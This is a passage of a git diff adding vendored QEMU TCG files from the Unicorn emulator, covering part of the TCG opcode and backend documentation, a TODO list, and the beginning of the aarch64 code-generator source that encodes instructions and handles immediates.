equivalently, t0=t1^~t2 + +* nand_i32/i64 t0, t1, t2 + +t0=~(t1&t2) + +* nor_i32/i64 t0, t1, t2 + +t0=~(t1|t2) + +* orc_i32/i64 t0, t1, t2 + +t0=t1|~t2 + +********* Shifts/Rotates + +* shl_i32/i64 t0, t1, t2 + +t0=t1 << t2. Unspecified behavior if t2 < 0 or t2 >= 32 (resp 64) + +* shr_i32/i64 t0, t1, t2 + +t0=t1 >> t2 (unsigned). Unspecified behavior if t2 < 0 or t2 >= 32 (resp 64) + +* sar_i32/i64 t0, t1, t2 + +t0=t1 >> t2 (signed). Unspecified behavior if t2 < 0 or t2 >= 32 (resp 64) + +* rotl_i32/i64 t0, t1, t2 + +Rotation of t2 bits to the left. +Unspecified behavior if t2 < 0 or t2 >= 32 (resp 64) + +* rotr_i32/i64 t0, t1, t2 + +Rotation of t2 bits to the right. +Unspecified behavior if t2 < 0 or t2 >= 32 (resp 64) + +********* Misc + +* mov_i32/i64 t0, t1 + +t0 = t1 + +Move t1 to t0 (both operands must have the same type). + +* ext8s_i32/i64 t0, t1 +ext8u_i32/i64 t0, t1 +ext16s_i32/i64 t0, t1 +ext16u_i32/i64 t0, t1 +ext32s_i64 t0, t1 +ext32u_i64 t0, t1 + +8, 16 or 32 bit sign/zero extension (both operands must have the same type) + +* bswap16_i32/i64 t0, t1 + +16 bit byte swap on a 32/64 bit value. It assumes that the two/six high order +bytes are set to zero. + +* bswap32_i32/i64 t0, t1 + +32 bit byte swap on a 32/64 bit value. With a 64 bit value, it assumes that +the four high order bytes are set to zero. + +* bswap64_i64 t0, t1 + +64 bit byte swap + +* discard_i32/i64 t0 + +Indicate that the value of t0 won't be used later. It is useful to +force dead code elimination. + +* deposit_i32/i64 dest, t1, t2, pos, len + +Deposit T2 as a bitfield into T1, placing the result in DEST. +The bitfield is described by POS/LEN, which are immediate values: + + LEN - the length of the bitfield + POS - the position of the first bit, counting from the LSB + +For example, pos=8, len=4 indicates a 4-bit field at bit 8. +This operation would be equivalent to + + dest = (t1 & ~0x0f00) | ((t2 << 8) & 0x0f00) + +* trunc_shr_i32 t0, t1, pos + +For 64-bit hosts only, right shift the 64-bit input T1 by POS and +truncate to 32-bit output T0. Depending on the host, this may be +a simple mov/shift, or may require additional canonicalization. + +********* Conditional moves + +* setcond_i32/i64 dest, t1, t2, cond + +dest = (t1 cond t2) + +Set DEST to 1 if (T1 cond T2) is true, otherwise set to 0. + +* movcond_i32/i64 dest, c1, c2, v1, v2, cond + +dest = (c1 cond c2 ? v1 : v2) + +Set DEST to V1 if (C1 cond C2) is true, otherwise set to V2. + +********* Type conversions + +* ext_i32_i64 t0, t1 +Convert t1 (32 bit) to t0 (64 bit) and does sign extension + +* extu_i32_i64 t0, t1 +Convert t1 (32 bit) to t0 (64 bit) and does zero extension + +* trunc_i64_i32 t0, t1 +Truncate t1 (64 bit) to t0 (32 bit) + +* concat_i32_i64 t0, t1, t2 +Construct t0 (64-bit) taking the low half from t1 (32 bit) and the high half +from t2 (32 bit). + +* concat32_i64 t0, t1, t2 +Construct t0 (64-bit) taking the low half from t1 (64 bit) and the high half +from t2 (64 bit). + +********* Load/Store + +* ld_i32/i64 t0, t1, offset +ld8s_i32/i64 t0, t1, offset +ld8u_i32/i64 t0, t1, offset +ld16s_i32/i64 t0, t1, offset +ld16u_i32/i64 t0, t1, offset +ld32s_i64 t0, t1, offset +ld32u_i64 t0, t1, offset + +t0 = read(t1 + offset) +Load 8, 16, 32 or 64 bits with or without sign extension from host memory. +offset must be a constant. + +* st_i32/i64 t0, t1, offset +st8_i32/i64 t0, t1, offset +st16_i32/i64 t0, t1, offset +st32_i64 t0, t1, offset + +write(t0, t1 + offset) +Write 8, 16, 32 or 64 bits to host memory. + +All this opcodes assume that the pointed host memory doesn't correspond +to a global. In the latter case the behaviour is unpredictable. + +********* Multiword arithmetic support + +* add2_i32/i64 t0_low, t0_high, t1_low, t1_high, t2_low, t2_high +* sub2_i32/i64 t0_low, t0_high, t1_low, t1_high, t2_low, t2_high + +Similar to add/sub, except that the double-word inputs T1 and T2 are +formed from two single-word arguments, and the double-word output T0 +is returned in two single-word outputs. + +* mulu2_i32/i64 t0_low, t0_high, t1, t2 + +Similar to mul, except two unsigned inputs T1 and T2 yielding the full +double-word product T0. The later is returned in two single-word outputs. + +* muls2_i32/i64 t0_low, t0_high, t1, t2 + +Similar to mulu2, except the two inputs T1 and T2 are signed. + +********* 64-bit guest on 32-bit host support + +The following opcodes are internal to TCG. Thus they are to be implemented by +32-bit host code generators, but are not to be emitted by guest translators. +They are emitted as needed by inline functions within "tcg-op.h". + +* brcond2_i32 t0_low, t0_high, t1_low, t1_high, cond, label + +Similar to brcond, except that the 64-bit values T0 and T1 +are formed from two 32-bit arguments. + +* setcond2_i32 dest, t1_low, t1_high, t2_low, t2_high, cond + +Similar to setcond, except that the 64-bit values T1 and T2 are +formed from two 32-bit arguments. The result is a 32-bit value. + +********* QEMU specific operations + +* exit_tb t0 + +Exit the current TB and return the value t0 (word type). + +* goto_tb index + +Exit the current TB and jump to the TB index 'index' (constant) if the +current TB was linked to this TB. Otherwise execute the next +instructions. Only indices 0 and 1 are valid and tcg_gen_goto_tb may be issued +at most once with each slot index per TB. + +* qemu_ld_i32/i64 t0, t1, flags, memidx +* qemu_st_i32/i64 t0, t1, flags, memidx + +Load data at the guest address t1 into t0, or store data in t0 at guest +address t1. The _i32/_i64 size applies to the size of the input/output +register t0 only. The address t1 is always sized according to the guest, +and the width of the memory operation is controlled by flags. + +Both t0 and t1 may be split into little-endian ordered pairs of registers +if dealing with 64-bit quantities on a 32-bit host. + +The memidx selects the qemu tlb index to use (e.g. user or kernel access). +The flags are the TCGMemOp bits, selecting the sign, width, and endianness +of the memory access. + +For a 32-bit host, qemu_ld/st_i64 is guaranteed to only be used with a +64-bit memory access specified in flags. + +********* + +Note 1: Some shortcuts are defined when the last operand is known to be +a constant (e.g. addi for add, movi for mov). + +Note 2: When using TCG, the opcodes must never be generated directly +as some of them may not be available as "real" opcodes. Always use the +function tcg_gen_xxx(args). + +4) Backend + +tcg-target.h contains the target specific definitions. tcg-target.c +contains the target specific code. + +4.1) Assumptions + +The target word size (TCG_TARGET_REG_BITS) is expected to be 32 bit or +64 bit. It is expected that the pointer has the same size as the word. + +On a 32 bit target, all 64 bit operations are converted to 32 bits. A +few specific operations must be implemented to allow it (see add2_i32, +sub2_i32, brcond2_i32). + +Floating point operations are not supported in this version. A +previous incarnation of the code generator had full support of them, +but it is better to concentrate on integer operations first. + +On a 64 bit target, no assumption is made in TCG about the storage of +the 32 bit values in 64 bit registers. + +4.2) Constraints + +GCC like constraints are used to define the constraints of every +instruction. Memory constraints are not supported in this +version. Aliases are specified in the input operands as for GCC. + +The same register may be used for both an input and an output, even when +they are not explicitly aliased. If an op expands to multiple target +instructions then care must be taken to avoid clobbering input values. +GCC style "early clobber" outputs are not currently supported. + +A target can define specific register or constant constraints. If an +operation uses a constant input constraint which does not allow all +constants, it must also accept registers in order to have a fallback. + +The movi_i32 and movi_i64 operations must accept any constants. + +The mov_i32 and mov_i64 operations must accept any registers of the +same type. + +The ld/st instructions must accept signed 32 bit constant offsets. It +can be implemented by reserving a specific register to compute the +address if the offset is too big. + +The ld/st instructions must accept any destination (ld) or source (st) +register. + +4.3) Function call assumptions + +- The only supported types for parameters and return value are: 32 and + 64 bit integers and pointer. +- The stack grows downwards. +- The first N parameters are passed in registers. +- The next parameters are passed on the stack by storing them as words. +- Some registers are clobbered during the call. +- The function can return 0 or 1 value in registers. On a 32 bit + target, functions must be able to return 2 values in registers for + 64 bit return type. + +5) Recommended coding rules for best performance + +- Use globals to represent the parts of the QEMU CPU state which are + often modified, e.g. the integer registers and the condition + codes. TCG will be able to use host registers to store them. + +- Avoid globals stored in fixed registers. They must be used only to + store the pointer to the CPU state and possibly to store a pointer + to a register window. + +- Use temporaries. Use local temporaries only when really needed, + e.g. when you need to use a value after a jump. Local temporaries + introduce a performance hit in the current TCG implementation: their + content is saved to memory at end of each basic block. + +- Free temporaries and local temporaries when they are no longer used + (tcg_temp_free). Since tcg_const_x() also creates a temporary, you + should free it after it is used. Freeing temporaries does not yield + a better generated code, but it reduces the memory usage of TCG and + the speed of the translation. + +- Don't hesitate to use helpers for complicated or seldom used guest + instructions. There is little performance advantage in using TCG to + implement guest instructions taking more than about twenty TCG + instructions. Note that this rule of thumb is more applicable to + helpers doing complex logic or arithmetic, where the C compiler has + scope to do a good job of optimisation; it is less relevant where + the instruction is mostly doing loads and stores, and in those cases + inline TCG may still be faster for longer sequences. + +- The hard limit on the number of TCG instructions you can generate + per guest instruction is set by MAX_OP_PER_INSTR in exec-all.h -- + you cannot exceed this without risking a buffer overrun. + +- Use the 'discard' instruction if you know that TCG won't be able to + prove that a given global is "dead" at a given program point. The + x86 guest uses it to improve the condition codes optimisation. diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/TODO b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/TODO new file mode 100644 index 0000000..0747847 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/TODO @@ -0,0 +1,14 @@ +- Add new instructions such as: clz, ctz, popcnt. + +- See if it is worth exporting mul2, mulu2, div2, divu2. + +- Support of globals saved in fixed registers between TBs. + +Ideas: + +- Move the slow part of the qemu_ld/st ops after the end of the TB. + +- Change exception syntax to get closer to QOP system (exception + parameters given with a specific instruction). + +- Add float and vector support. diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/aarch64/tcg-target.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/aarch64/tcg-target.c new file mode 100644 index 0000000..ce8360f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/aarch64/tcg-target.c @@ -0,0 +1,1814 @@ +/* + * Initial TCG Implementation for aarch64 + * + * Copyright (c) 2013 Huawei Technologies Duesseldorf GmbH + * Written by Claudio Fontana + * + * This work is licensed under the terms of the GNU GPL, version 2 or + * (at your option) any later version. + * + * See the COPYING file in the top-level directory for details. + */ + +#include "tcg-be-ldst.h" +#include "qemu/bitops.h" + +/* We're going to re-use TCGType in setting of the SF bit, which controls + the size of the operation performed. If we know the values match, it + makes things much cleaner. */ +QEMU_BUILD_BUG_ON(TCG_TYPE_I32 != 0 || TCG_TYPE_I64 != 1); + +#ifndef NDEBUG +static const char * const tcg_target_reg_names[TCG_TARGET_NB_REGS] = { + "%x0", "%x1", "%x2", "%x3", "%x4", "%x5", "%x6", "%x7", + "%x8", "%x9", "%x10", "%x11", "%x12", "%x13", "%x14", "%x15", + "%x16", "%x17", "%x18", "%x19", "%x20", "%x21", "%x22", "%x23", + "%x24", "%x25", "%x26", "%x27", "%x28", "%fp", "%x30", "%sp", +}; +#endif /* NDEBUG */ + +static const int tcg_target_reg_alloc_order[] = { + TCG_REG_X20, TCG_REG_X21, TCG_REG_X22, TCG_REG_X23, + TCG_REG_X24, TCG_REG_X25, TCG_REG_X26, TCG_REG_X27, + TCG_REG_X28, /* we will reserve this for GUEST_BASE if configured */ + + TCG_REG_X8, TCG_REG_X9, TCG_REG_X10, TCG_REG_X11, + TCG_REG_X12, TCG_REG_X13, TCG_REG_X14, TCG_REG_X15, + TCG_REG_X16, TCG_REG_X17, + + TCG_REG_X0, TCG_REG_X1, TCG_REG_X2, TCG_REG_X3, + TCG_REG_X4, TCG_REG_X5, TCG_REG_X6, TCG_REG_X7, + + /* X18 reserved by system */ + /* X19 reserved for AREG0 */ + /* X29 reserved as fp */ + /* X30 reserved as temporary */ +}; + +static const int tcg_target_call_iarg_regs[8] = { + TCG_REG_X0, TCG_REG_X1, TCG_REG_X2, TCG_REG_X3, + TCG_REG_X4, TCG_REG_X5, TCG_REG_X6, TCG_REG_X7 +}; +static const int tcg_target_call_oarg_regs[1] = { + TCG_REG_X0 +}; + +#define TCG_REG_TMP TCG_REG_X30 + +#ifndef CONFIG_SOFTMMU +# ifdef CONFIG_USE_GUEST_BASE +# define TCG_REG_GUEST_BASE TCG_REG_X28 +# else +# define TCG_REG_GUEST_BASE TCG_REG_XZR +# endif +#endif + +static inline void reloc_pc26(tcg_insn_unit *code_ptr, tcg_insn_unit *target) +{ + ptrdiff_t offset = target - code_ptr; + assert(offset == sextract64(offset, 0, 26)); + /* read instruction, mask away previous PC_REL26 parameter contents, + set the proper offset, then write back the instruction. */ + *code_ptr = deposit32(*code_ptr, 0, 26, offset); +} + +static inline void reloc_pc19(tcg_insn_unit *code_ptr, tcg_insn_unit *target) +{ + ptrdiff_t offset = target - code_ptr; + assert(offset == sextract64(offset, 0, 19)); + *code_ptr = deposit32(*code_ptr, 5, 19, offset); +} + +static inline void patch_reloc(tcg_insn_unit *code_ptr, int type, + intptr_t value, intptr_t addend) +{ + assert(addend == 0); + switch (type) { + case R_AARCH64_JUMP26: + case R_AARCH64_CALL26: + reloc_pc26(code_ptr, (tcg_insn_unit *)value); + break; + case R_AARCH64_CONDBR19: + reloc_pc19(code_ptr, (tcg_insn_unit *)value); + break; + default: + tcg_abort(); + } +} + +#define TCG_CT_CONST_AIMM 0x100 +#define TCG_CT_CONST_LIMM 0x200 +#define TCG_CT_CONST_ZERO 0x400 +#define TCG_CT_CONST_MONE 0x800 + +/* parse target specific constraints */ +static int target_parse_constraint(TCGArgConstraint *ct, + const char **pct_str) +{ + const char *ct_str = *pct_str; + + switch (ct_str[0]) { + case 'r': + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, (1ULL << TCG_TARGET_NB_REGS) - 1); + break; + case 'l': /* qemu_ld / qemu_st address, data_reg */ + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, (1ULL << TCG_TARGET_NB_REGS) - 1); +#ifdef CONFIG_SOFTMMU + /* x0 and x1 will be overwritten when reading the tlb entry, + and x2, and x3 for helper args, better to avoid using them. */ + tcg_regset_reset_reg(ct->u.regs, TCG_REG_X0); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_X1); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_X2); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_X3); +#endif + break; + case 'A': /* Valid for arithmetic immediate (positive or negative). */ + ct->ct |= TCG_CT_CONST_AIMM; + break; + case 'L': /* Valid for logical immediate. */ + ct->ct |= TCG_CT_CONST_LIMM; + break; + case 'M': /* minus one */ + ct->ct |= TCG_CT_CONST_MONE; + break; + case 'Z': /* zero */ + ct->ct |= TCG_CT_CONST_ZERO; + break; + default: + return -1; + } + + ct_str++; + *pct_str = ct_str; + return 0; +} + +static inline bool is_aimm(uint64_t val) +{ + return (val & ~0xfff) == 0 || (val & ~0xfff000) == 0; +} + +static inline bool is_limm(uint64_t val) +{ + /* Taking a simplified view of the logical immediates for now, ignoring + the replication that can happen across the field. Match bit patterns + of the forms + 0....01....1 + 0..01..10..0 + and their inverses. */ + + /* Make things easier below, by testing the form with msb clear. */ + if ((int64_t)val < 0) { + val = ~val; + } + if (val == 0) { + return false; + } + val += val & -val; + return (val & (val - 1)) == 0; +} + +static int tcg_target_const_match(tcg_target_long val, TCGType type, + const TCGArgConstraint *arg_ct) +{ + int ct = arg_ct->ct; + + if (ct & TCG_CT_CONST) { + return 1; + } + if (type == TCG_TYPE_I32) { + val = (int32_t)val; + } + if ((ct & TCG_CT_CONST_AIMM) && (is_aimm(val) || is_aimm(-val))) { + return 1; + } + if ((ct & TCG_CT_CONST_LIMM) && is_limm(val)) { + return 1; + } + if ((ct & TCG_CT_CONST_ZERO) && val == 0) { + return 1; + } + if ((ct & TCG_CT_CONST_MONE) && val == -1) { + return 1; + } + + return 0; +} + +enum aarch64_cond_code { + COND_EQ = 0x0, + COND_NE = 0x1, + COND_CS = 0x2, /* Unsigned greater or equal */ + COND_HS = COND_CS, /* ALIAS greater or equal */ + COND_CC = 0x3, /* Unsigned less than */ + COND_LO = COND_CC, /* ALIAS Lower */ + COND_MI = 0x4, /* Negative */ + COND_PL = 0x5, /* Zero or greater */ + COND_VS = 0x6, /* Overflow */ + COND_VC = 0x7, /* No overflow */ + COND_HI = 0x8, /* Unsigned greater than */ + COND_LS = 0x9, /* Unsigned less or equal */ + COND_GE = 0xa, + COND_LT = 0xb, + COND_GT = 0xc, + COND_LE = 0xd, + COND_AL = 0xe, + COND_NV = 0xf, /* behaves like COND_AL here */ +}; + +static const enum aarch64_cond_code tcg_cond_to_aarch64[] = { + [TCG_COND_EQ] = COND_EQ, + [TCG_COND_NE] = COND_NE, + [TCG_COND_LT] = COND_LT, + [TCG_COND_GE] = COND_GE, + [TCG_COND_LE] = COND_LE, + [TCG_COND_GT] = COND_GT, + /* unsigned */ + [TCG_COND_LTU] = COND_LO, + [TCG_COND_GTU] = COND_HI, + [TCG_COND_GEU] = COND_HS, + [TCG_COND_LEU] = COND_LS, +}; + +typedef enum { + LDST_ST = 0, /* store */ + LDST_LD = 1, /* load */ + LDST_LD_S_X = 2, /* load and sign-extend into Xt */ + LDST_LD_S_W = 3, /* load and sign-extend into Wt */ +} AArch64LdstType; + +/* We encode the format of the insn into the beginning of the name, so that + we can have the preprocessor help "typecheck" the insn vs the output + function. Arm didn't provide us with nice names for the formats, so we + use the section number of the architecture reference manual in which the + instruction group is described. */ +typedef enum { + /* Compare and branch (immediate). */ + I3201_CBZ = 0x34000000, + I3201_CBNZ = 0x35000000, + + /* Conditional branch (immediate). */ + I3202_B_C = 0x54000000, + + /* Unconditional branch (immediate). */ + I3206_B = 0x14000000, + I3206_BL = 0x94000000, + + /* Unconditional branch (register). */ + I3207_BR = 0xd61f0000, + I3207_BLR = 0xd63f0000, + I3207_RET = 0xd65f0000, + + /* Load/store register. Described here as 3.3.12, but the helper + that emits them can transform to 3.3.10 or 3.3.13. */ + I3312_STRB = 0x38000000 | LDST_ST << 22 | MO_8 << 30, + I3312_STRH = 0x38000000 | LDST_ST << 22 | MO_16 << 30, + I3312_STRW = 0x38000000 | LDST_ST << 22 | MO_32 << 30, + I3312_STRX = 0x38000000 | LDST_ST << 22 | MO_64 << 30, + + I3312_LDRB = 0x38000000 | LDST_LD << 22 | MO_8 << 30, + I3312_LDRH = 0x38000000 | LDST_LD << 22 | MO_16 << 30, + I3312_LDRW = 0x38000000 | LDST_LD << 22 | MO_32 << 30, + I3312_LDRX = 0x38000000 | LDST_LD << 22 | MO_64 << 30, + + I3312_LDRSBW = 0x38000000 | LDST_LD_S_W << 22 | MO_8 << 30, + I3312_LDRSHW = 0x38000000 | LDST_LD_S_W << 22 | MO_16 << 30, + + I3312_LDRSBX = 0x38000000 | LDST_LD_S_X << 22 | MO_8 << 30, + I3312_LDRSHX = 0x38000000 | LDST_LD_S_X << 22 | MO_16 << 30, + I3312_LDRSWX = 0x38000000 | LDST_LD_S_X << 22 | MO_32 << 30, + + I3312_TO_I3310 = 0x00206800, + I3312_TO_I3313 = 0x01000000, + + /* Load/store register pair instructions. */ + I3314_LDP = 0x28400000, + I3314_STP = 0x28000000, + + /* Add/subtract immediate instructions. */ + I3401_ADDI = 0x11000000, + I3401_ADDSI = 0x31000000, + I3401_SUBI = 0x51000000, + I3401_SUBSI = 0x71000000, + + /* Bitfield instructions. */ + I3402_BFM = 0x33000000, + I3402_SBFM = 0x13000000, + I3402_UBFM = 0x53000000, + + /* Extract instruction. */ + I3403_EXTR = 0x13800000, + + /* Logical immediate instructions. */ + I3404_ANDI = 0x12000000, + I3404_ORRI = 0x32000000, + I3404_EORI = 0x52000000, + + /* Move wide immediate instructions. */ + I3405_MOVN = 0x12800000, + I3405_MOVZ = 0x52800000, + I3405_MOVK = 0x72800000, + + /* PC relative addressing instructions. */ + I3406_ADR = 0x10000000, + I3406_ADRP = 0x90000000, + + /* Add/subtract shifted register instructions (without a shift). */ + I3502_ADD = 0x0b000000, + I3502_ADDS = 0x2b000000, + I3502_SUB = 0x4b000000, + I3502_SUBS = 0x6b000000, + + /* Add/subtract shifted register instructions (with a shift). */ + I3502S_ADD_LSL = I3502_ADD, + + /* Add/subtract with carry instructions. */ + I3503_ADC = 0x1a000000, + I3503_SBC = 0x5a000000, + + /* Conditional select instructions. */ + I3506_CSEL = 0x1a800000, + I3506_CSINC = 0x1a800400, + + /* Data-processing (1 source) instructions. */ + I3507_REV16 = 0x5ac00400, + I3507_REV32 = 0x5ac00800, + I3507_REV64 = 0x5ac00c00, + + /* Data-processing (2 source) instructions. */ + I3508_LSLV = 0x1ac02000, + I3508_LSRV = 0x1ac02400, + I3508_ASRV = 0x1ac02800, + I3508_RORV = 0x1ac02c00, + I3508_SMULH = 0x9b407c00, + I3508_UMULH = 0x9bc07c00, + I3508_UDIV = 0x1ac00800, + I3508_SDIV = 0x1ac00c00, + + /* Data-processing (3 source) instructions. */ + I3509_MADD = 0x1b000000, + I3509_MSUB = 0x1b008000, + + /* Logical shifted register instructions (without a shift). */ + I3510_AND = 0x0a000000, + I3510_BIC = 0x0a200000, + I3510_ORR = 0x2a000000, + I3510_ORN = 0x2a200000, + I3510_EOR = 0x4a000000, + I3510_EON = 0x4a200000, + I3510_ANDS = 0x6a000000, +} AArch64Insn; + +static inline uint32_t tcg_in32(TCGContext *s) +{ + uint32_t v = *(uint32_t *)s->code_ptr; + return v; +} + +/* Emit an opcode with "type-checking" of the format. */ +#define tcg_out_insn(S, FMT, OP, ...) \ + glue(tcg_out_insn_,FMT)(S, glue(glue(glue(I,FMT),_),OP), ## __VA_ARGS__) + +static void tcg_out_insn_3201(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rt, int imm19) +{ + tcg_out32(s, insn | ext << 31 | (imm19 & 0x7ffff) << 5 | rt); +} + +static void tcg_out_insn_3202(TCGContext *s, AArch64Insn insn, + TCGCond c, int imm19) +{ + tcg_out32(s, insn | tcg_cond_to_aarch64[c] | (imm19 & 0x7ffff) << 5); +} + +static void tcg_out_insn_3206(TCGContext *s, AArch64Insn insn, int imm26) +{ + tcg_out32(s, insn | (imm26 & 0x03ffffff)); +} + +static void tcg_out_insn_3207(TCGContext *s, AArch64Insn insn, TCGReg rn) +{ + tcg_out32(s, insn | rn << 5); +} + +static void tcg_out_insn_3314(TCGContext *s, AArch64Insn insn, + TCGReg r1, TCGReg r2, TCGReg rn, + tcg_target_long ofs, bool pre, bool w) +{ + insn |= 1u << 31; /* ext */ + insn |= pre << 24; + insn |= w << 23; + + assert(ofs >= -0x200 && ofs < 0x200 && (ofs & 7) == 0); + insn |= (ofs & (0x7f << 3)) << (15 - 3); + + tcg_out32(s, insn | r2 << 10 | rn << 5 | r1); +} + +static void tcg_out_insn_3401(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rd, TCGReg rn, uint64_t aimm) +{ + if (aimm > 0xfff) { + assert((aimm & 0xfff) == 0); + aimm >>= 12; + assert(aimm <= 0xfff); + aimm |= 1 << 12; /* apply LSL 12 */ + } + tcg_out32(s, insn | ext << 31 | aimm << 10 | rn << 5 | rd); +} + +/* This function can be used for both 3.4.2 (Bitfield) and 3.4.4 + (Logical immediate). Both insn groups have N, IMMR and IMMS fields + that feed the DecodeBitMasks pseudo function. */ +static void tcg_out_insn_3402(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rd, TCGReg rn, int n, int immr, int imms) +{ + tcg_out32(s, insn | ext << 31 | n << 22 | immr << 16 | imms << 10 + | rn << 5 | rd); +} + +#define tcg_out_insn_3404 tcg_out_insn_3402 + +static void tcg_out_insn_3403(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rd, TCGReg rn, TCGReg rm, int imms) +{ + tcg_out32(s, insn | ext << 31 | ext << 22 | rm << 16 | imms << 10 + | rn << 5 | rd); +} + +/* This function is used for the Move (wide immediate) instruction group. + Note that SHIFT is a full shift count, not the 2 bit HW field. */ +static void tcg_out_insn_3405(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rd, uint16_t half, unsigned shift) +{ + assert((shift & ~0x30) == 0); + tcg_out32(s, insn | ext << 31 | shift << (21 - 4) | half << 5 | rd); +} + +static void tcg_out_insn_3406(TCGContext *s, AArch64Insn insn, + TCGReg rd, int64_t disp) +{ + tcg_out32(s, insn | (disp & 3) << 29 | (disp & 0x1ffffc) << (5 - 2) | rd); +} + +/* This function is for both 3.5.2 (Add/Subtract shifted register), for + the rare occasion when we actually want to supply a shift amount. */ +static inline void tcg_out_insn_3502S(TCGContext *s, AArch64Insn insn, + TCGType ext, TCGReg rd, TCGReg rn, + TCGReg rm, int imm6) +{ + tcg_out32(s, insn | ext << 31 | rm << 16 | imm6 << 10 | rn << 5 | rd); +} + +/* This function is for 3.5.2 (Add/subtract shifted register), + and 3.5.10 (Logical shifted register), for the vast majorty of cases + when we don't want to apply a shift. Thus it can also be used for + 3.5.3 (Add/subtract with carry) and 3.5.8 (Data processing 2 source). */ +static void tcg_out_insn_3502(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rd, TCGReg rn, TCGReg rm) +{ + tcg_out32(s, insn | ext << 31 | rm << 16 | rn << 5 | rd); +} + +#define tcg_out_insn_3503 tcg_out_insn_3502 +#define tcg_out_insn_3508 tcg_out_insn_3502 +#define tcg_out_insn_3510 tcg_out_insn_3502 + +static void tcg_out_insn_3506(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rd, TCGReg rn, TCGReg rm, TCGCond c) +{ + tcg_out32(s, insn | ext << 31 | rm << 16 | rn << 5 | rd + | tcg_cond_to_aarch64[c] << 12); +} + +static void tcg_out_insn_3507(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rd, TCGReg rn) +{ + tcg_out32(s, insn | ext << 31 | rn << 5 | rd); +} + +static void tcg_out_insn_3509(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rd, TCGReg rn, TCGReg rm, TCGReg ra) +{ + tcg_out32(s, insn | ext << 31 | rm << 16 | ra << 10 | rn << 5 | rd); +} + +static void tcg_out_insn_3310(TCGContext *s, AArch64Insn insn, + TCGReg rd, TCGReg base, TCGReg regoff) +{ + /* Note the AArch64Insn constants above are for C3.3.12. Adjust. */ + tcg_out32(s, insn | I3312_TO_I3310 | regoff << 16 | base << 5 | rd); +} + + +static void tcg_out_insn_3312(TCGContext *s, AArch64Insn insn, + TCGReg rd, TCGReg rn, intptr_t offset) +{ + tcg_out32(s, insn | (offset & 0x1ff) << 12 | rn << 5 | rd); +} + +static void tcg_out_insn_3313(TCGContext *s, AArch64Insn insn, + TCGReg rd, TCGReg rn, uintptr_t scaled_uimm) +{ + /* Note the AArch64Insn constants above are for C3.3.12. Adjust. */ + tcg_out32(s, insn | I3312_TO_I3313 | scaled_uimm << 10 | rn << 5 | rd); +} + +/* Register to register move using ORR (shifted register with no shift). */ +static void tcg_out_movr(TCGContext *s, TCGType ext, TCGReg rd, TCGReg rm) +{ + tcg_out_insn(s, 3510, ORR, ext, rd, TCG_REG_XZR, rm); +} + +/* Register to register move using ADDI (move to/from SP). */ +static void tcg_out_movr_sp(TCGContext *s, TCGType ext, TCGReg rd, TCGReg rn) +{ + tcg_out_insn(s, 3401, ADDI, ext, rd, rn, 0); +} + +/* This function is used for the Logical (immediate) instruction group. + The value of LIMM must satisfy IS_LIMM. See the comment above about + only supporting simplified logical immediates. */ +static void tcg_out_logicali(TCGContext *s, AArch64Insn insn, TCGType ext, + TCGReg rd, TCGReg rn, uint64_t limm) +{ + unsigned h, l, r, c; + + assert(is_limm(limm)); + + h = clz64(limm); + l = ctz64(limm); + if (l == 0) { + r = 0; /* form 0....01....1 */ + c = ctz64(~limm) - 1; + if (h == 0) { + r = clz64(~limm); /* form 1..10..01..1 */ + c += r; + } + } else { + r = 64 - l; /* form 1....10....0 or 0..01..10..0 */ + c = r - h - 1; + } + if (ext == TCG_TYPE_I32) { + r &= 31; + c &= 31; + } + + tcg_out_insn_3404(s, insn, ext, rd, rn, ext, r, c); +} + +static void tcg_out_movi(TCGContext *s, TCGType type, TCGReg rd, + tcg_target_long value) +{ + AArch64Insn insn; + int i, wantinv, shift; + tcg_target_long svalue = value; + tcg_target_long ivalue = ~value; + tcg_target_long imask; + + /* For 32-bit values, discard potential garbage in value. For 64-bit + values within [2**31, 2**32-1], we can create smaller sequences by + interpreting this as a negative 32-bit number, while ensuring that + the high 32 bits are cleared by setting SF=0. */ + if (type == TCG_TYPE_I32 || (value & ~0xffffffffull) == 0) { + svalue = (int32_t)value; + value = (uint32_t)value; + ivalue = (uint32_t)ivalue; + type = TCG_TYPE_I32; + } + + /* Speed things up by handling the common case of small positive + and negative values specially. */ + if ((value & ~0xffffull) == 0) { + tcg_out_insn(s, 3405, MOVZ, type, rd, value, 0); + return; + } else if ((ivalue & ~0xffffull) == 0) { + tcg_out_insn(s, 3405, MOVN, type, rd, ivalue, 0); + return; + } + + /* Check for bitfield immediates. For the benefit of 32-bit quantities, + use the sign-extended value. That lets us match rotated values such + as 0xff0000ff with the same 64-bit logic matching 0xffffffffff0000ff. */ + if (is_limm(svalue)) { + tcg_out_logicali(s, I3404_ORRI, type, rd, TCG_REG_XZR, svalue); + return; + } + + /* Look for host pointer values within 4G of the PC. This happens + often when loading pointers to QEMU's own data structures. */ + if (type == TCG_TYPE_I64) { + tcg_target_long disp = (value >> 12) - ((intptr_t)s->code_ptr >> 12); + if (disp == sextract64(disp, 0, 21)) { + tcg_out_insn(s, 3406, ADRP, rd, disp); + if (value & 0xfff) { + tcg_out_insn(s, 3401, ADDI, type, rd, rd, value & 0xfff); + } + return; + } + } + + /* Would it take fewer insns to begin with MOVN? For the value and its + inverse, count the number of 16-bit lanes that are 0. */ + for (i = wantinv = imask = 0; i < 64; i += 16) { + tcg_target_long mask = 0xffffull << i; + if ((value & mask) == 0) { + wantinv -= 1; + } + if ((ivalue & mask) == 0) 